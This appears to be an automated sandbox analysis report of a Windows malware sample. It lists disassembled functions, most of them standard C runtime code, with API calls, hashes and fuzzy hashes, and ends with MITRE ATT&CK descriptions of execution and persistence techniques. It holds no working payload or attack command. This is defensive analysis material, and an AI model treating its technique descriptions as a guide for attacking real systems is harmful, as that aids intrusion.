API String ID: 2958136301-0
Opcode ID: e0429466e1a4e5115574ae338db8e6a5a289b3b4bbe3234a1f11face82d8c52c
Instruction ID: 0e4aa19d01043e02d73f3a4d45e184c7d8ed32511a10c5d8b570594755cd4eca
Opcode Fuzzy Hash: e0429466e1a4e5115574ae338db8e6a5a289b3b4bbe3234a1f11face82d8c52c
Instruction Fuzzy Hash: B20192719005269BCB45EFA4C829ABEBBB7AF80710F24450DE4146B392DF749E41CB96

Function 0066787A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00667871,00665E40,00664F12), ref: 00667888
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00667896
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 006678AF
SetLastError.KERNEL32(00000000,00667871,00665E40,00664F12), ref: 00667901

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 00500dd09a28e5f9afed07900bcbe657db6d839afbdc56151bfa9c22e9f650ab
Instruction ID: ed42fe12079f2afaf8811880a6e04b513486d71d8f904a3740fbc292da28c1d8
Opcode Fuzzy Hash: 00500dd09a28e5f9afed07900bcbe657db6d839afbdc56151bfa9c22e9f650ab
Instruction Fuzzy Hash: 4001287361C3116EA7251AB87C8955626D7EF027B8B30133FF520832E0FF154C42D168

Function 0066C13F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,2CD9EC66,?,?,00000000,0067B0F9,000000FF,?,0066C0CF,?,?,0066C0A3,00000000), ref: 0066C174
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0066C186
FreeLibrary.KERNEL32(00000000,?,00000000,0067B0F9,000000FF,?,0066C0CF,?,?,0066C0A3,00000000), ref: 0066C1A8

Strings

CorExitProcess, xrefs: 0066C17E
mscoree.dll, xrefs: 0066C16D

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7c1c13935e4d2c42d2f8531dcdebc78af090b2b4ba2bddc9f2f835514a4eba90
Instruction ID: f0989ef4f752ce6b96be6aed3ede749ad4207498defe19d6a75fd3efb79688d3
Opcode Fuzzy Hash: 7c1c13935e4d2c42d2f8531dcdebc78af090b2b4ba2bddc9f2f835514a4eba90
Instruction Fuzzy Hash: 6C01D672944659EFDB158F60CC05FBEBBBAFF44B14F005625F829E22E0DB749940CA90

Function 00663BCF Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00663BD6
std::_Lockit::_Lockit.LIBCPMT ref: 00663BE1
std::_Lockit::~_Lockit.LIBCPMT ref: 00663C4F

Part of subcall function 00663D32: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00663D4A

std::locale::_Setgloballocale.LIBCPMT ref: 00663BFC
_Yarn.LIBCPMT ref: 00663C12

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 1811fb4f1464856568507f4d992a0509a9331bdffeae9d14dc8bd46fc796546c
Instruction ID: 09b88aa1c05f1f9947b88d02d288f286bb81e3d17683812d9beefea71875b272
Opcode Fuzzy Hash: 1811fb4f1464856568507f4d992a0509a9331bdffeae9d14dc8bd46fc796546c
Instruction Fuzzy Hash: 5D018B76A002209BCB0AEF60D85697C7B73FF85740B14410DE80667392DF38AF42DB8A

Function 00670A0E Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00670BA6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00670BB9

Strings

g, xrefs: 00670A8D
g, xrefs: 00670AAF

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: g$g
API String ID: 885266447-4109898656
Opcode ID: 7657ea2dac0b9d52f1062fcfb1628676fe4de3970db20ebd0ce3e1c4ac744e26
Instruction ID: a54e34fdc6aa7e0d3b0c42fdc30f45a86f03abb857db4f9ba80adb07e0035aee
Opcode Fuzzy Hash: 7657ea2dac0b9d52f1062fcfb1628676fe4de3970db20ebd0ce3e1c4ac744e26
Instruction Fuzzy Hash: A7515D71A00249EFDF14CF98C991AEEBBB3EB49714F14C159E859A7391D331AE42CB60

Function 00662391 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00662398
std::_Lockit::_Lockit.LIBCPMT ref: 006623A5
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 006623E2

Part of subcall function 00663CCD: _Yarn.LIBCPMT ref: 00663CEC
Part of subcall function 00663CCD: _Yarn.LIBCPMT ref: 00663D10

Strings

bad locale name, xrefs: 006623F3

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$H_prolog3Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 482894088-1405518554
Opcode ID: b709b7a0e28398fd99d3f17465b6f9c2eccfc372e05b7c2caddf2de15e9e3b0e
Instruction ID: 718e66598d9f8eca8a5e0a577b5ff4ccc15c27771fb39d8975b3805ed22923ef
Opcode Fuzzy Hash: b709b7a0e28398fd99d3f17465b6f9c2eccfc372e05b7c2caddf2de15e9e3b0e
Instruction Fuzzy Hash: 9F018C715017949FC7219F6A948158BFFE1BF29350B508A2FE18D97B02CB70A600CBAD

Function 006689C2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00684FF0,00000000,00000800,?,00668973,00000000,?,00000000,?,?,?,00668A9D,00000002,FlsGetValue,0067EC68,FlsGetValue), ref: 006689CF
GetLastError.KERNEL32(?,00668973,00000000,?,00000000,?,?,?,00668A9D,00000002,FlsGetValue,0067EC68,FlsGetValue,00000000,?,0066792D), ref: 006689D9
LoadLibraryExW.KERNEL32(00684FF0,00000000,00000000,?,00684FF0,?,?,?,006616D9,?,006616D9,?), ref: 00668A01

Strings

api-ms-, xrefs: 006689E6

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: aab2a04a9715e0907ddb8a4244bc1b08fb3c930362ae0d723c4ef69812552603
Instruction ID: a5d1b3444dc7f676026adef92a8b6dfca0f7210af93ffec74a1ca50ab5bd1dc3
Opcode Fuzzy Hash: aab2a04a9715e0907ddb8a4244bc1b08fb3c930362ae0d723c4ef69812552603
Instruction Fuzzy Hash: B3E04F34280208BFEF202FB0EE0AB583E6BAF10B54F145421FE0CE81E0EB62D85185C5

Function 0066FB8E Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(2CD9EC66,00000000,00000000,00000000), ref: 0066FBF1

Part of subcall function 00673BF4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00672B86,?,00000000,-00000008), ref: 00673CA0

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0066FE4C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0066FE94
GetLastError.KERNEL32 ref: 0066FF37

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 8cfaa0e93eb768971e8754c721e9dd6bc7b6d71453c8d3a432ee8c8b92488876
Instruction ID: f454da5f5d5454b3f7557fc9abed7941d3838b4c9c3c9c162a511a4217125273
Opcode Fuzzy Hash: 8cfaa0e93eb768971e8754c721e9dd6bc7b6d71453c8d3a432ee8c8b92488876
Instruction Fuzzy Hash: 2AD15AB5D00258AFCF15CFA8E8809EEBBB6FF49314F18456AE855EB351D730A942CB50

Function 00667991 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00667A58
___AdjustPointer.LIBCMT ref: 00667A7B
___AdjustPointer.LIBCMT ref: 00667B17

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4857276a2bffcef1da88b4397b9f194e7be847331cf0c2fd675220f12904791c
Instruction ID: 509b4b44a290137e9921fccf2680f9d1489e5712d2c287a2ff2e393428f4641c
Opcode Fuzzy Hash: 4857276a2bffcef1da88b4397b9f194e7be847331cf0c2fd675220f12904791c
Instruction Fuzzy Hash: 06510671608606AFDB299FA4D941BBE77A7FF40718F14452DE80287391E731EE81C794

Function 00674010 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00673BF4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00672B86,?,00000000,-00000008), ref: 00673CA0

GetLastError.KERNEL32 ref: 00674074
__dosmaperr.LIBCMT ref: 0067407B
GetLastError.KERNEL32(?,?,?,?), ref: 006740B5
__dosmaperr.LIBCMT ref: 006740BC

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 6a1468c5d1ce0ace41783e68d4b7d74190181a29b8922be434b7b5998388502a
Instruction ID: 6aea8658061cfa897235242c00ed582288eae852dc52f6b88cff3c19c6a2e841
Opcode Fuzzy Hash: 6a1468c5d1ce0ace41783e68d4b7d74190181a29b8922be434b7b5998388502a
Instruction Fuzzy Hash: 7F217F31600215EF9B20AF7588899ABBBABEF00364710C51DFA2DD7651DF31EC918BA0

Function 0066B369 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f90e5860a7106592a1b72ce8f5e96ae1ee9a6628e3306d6a8dbeaf8cd2866c4
Instruction ID: cc058aa903c3dc68b809b89f75f28087115cc10e8250042c41b25db63281e524
Opcode Fuzzy Hash: 2f90e5860a7106592a1b72ce8f5e96ae1ee9a6628e3306d6a8dbeaf8cd2866c4
Instruction Fuzzy Hash: F7216F31604205EF9B60AF659C819BBB7AFEF54364B10A518F925D7252DB30ECC197A0

Function 00674FA6 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00674FAE

Part of subcall function 00673BF4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00672B86,?,00000000,-00000008), ref: 00673CA0

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00674FE6
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00675006

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 7ae2e6d5202d84612ec03389fdc0845ad046d42a108cf5e17c62f4c110118d79
Instruction ID: 2e903f66793ab3ab1298bac2b8ead470f607f3defbaca031e9cace3908e968ab
Opcode Fuzzy Hash: 7ae2e6d5202d84612ec03389fdc0845ad046d42a108cf5e17c62f4c110118d79
Instruction Fuzzy Hash: F41189B56016267FB72027719C8ECBF2EAFDE9A3D87104428F40AD1200FE65DE0145B4

Function 006793D5 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,006781D1,00000000,00000001,00000000,00000000,?,0066FF8B,00000000,00000000,00000000), ref: 006793EC
GetLastError.KERNEL32(?,006781D1,00000000,00000001,00000000,00000000,?,0066FF8B,00000000,00000000,00000000,00000000,00000000,?,00670512,00000000), ref: 006793F8

Part of subcall function 006793BE: CloseHandle.KERNEL32(FFFFFFFE,00679408,?,006781D1,00000000,00000001,00000000,00000000,?,0066FF8B,00000000,00000000,00000000,00000000,00000000), ref: 006793CE

___initconout.LIBCMT ref: 00679408

Part of subcall function 00679380: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,006793AF,006781BE,00000000,?,0066FF8B,00000000,00000000,00000000,00000000), ref: 00679393

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,006781D1,00000000,00000001,00000000,00000000,?,0066FF8B,00000000,00000000,00000000,00000000), ref: 0067941D

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 4dacea9ea005b808e20b54fb2db6b250b83c5fa7fef56634443cf56564a1fa45
Instruction ID: f8313801a180a1d3eeab1274e9f1f1817f2f827a8c5115bc2bb843c034e8a433
Opcode Fuzzy Hash: 4dacea9ea005b808e20b54fb2db6b250b83c5fa7fef56634443cf56564a1fa45
Instruction Fuzzy Hash: FCF0AC36501158BBCF265FA5DC059993FBBFF493B1F049514FA1DD5120C63288A1DBA4

Function 00667F8D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00667FB2

Strings

MOC, xrefs: 00667FC4
RCC, xrefs: 00667FCC

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 9202ff72f1fc4ef45cf2c2f7c90a557e731910b5276e9dbc0e03afecf5506cf1
Instruction ID: 8f964a70d641838273d23de1c98f6574ca5501e639402eb2a02e93c720b1fff1
Opcode Fuzzy Hash: 9202ff72f1fc4ef45cf2c2f7c90a557e731910b5276e9dbc0e03afecf5506cf1
Instruction Fuzzy Hash: E7415972900209AFCF15DFA4CC81AEEBBB6FF48304F198699F904A7261D735AA50DB51

Function 00668922 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,?,?,?,00668A9D,00000002,FlsGetValue,0067EC68,FlsGetValue,00000000,?,0066792D,?,00665C62), ref: 006689A5
GetProcAddress.KERNEL32(00000000,?), ref: 006689AF

Strings

b\f, xrefs: 00668948

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: AddressFreeLibraryProc
String ID: b\f
API String ID: 3013587201-114102377
Opcode ID: 0b303a7647e3e69809ec9bf21085aecf94c14a445d617ee7d946c87073beb3fb
Instruction ID: 69055ed9059afe00544c0df004d33b27b4c9039e2a86fd80f8892ad60efa8566
Opcode Fuzzy Hash: 0b303a7647e3e69809ec9bf21085aecf94c14a445d617ee7d946c87073beb3fb
Instruction Fuzzy Hash: E1117F71600115AF8F22CF78DC809B977B6FF493607181359EA0597310EE30DD42DB92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

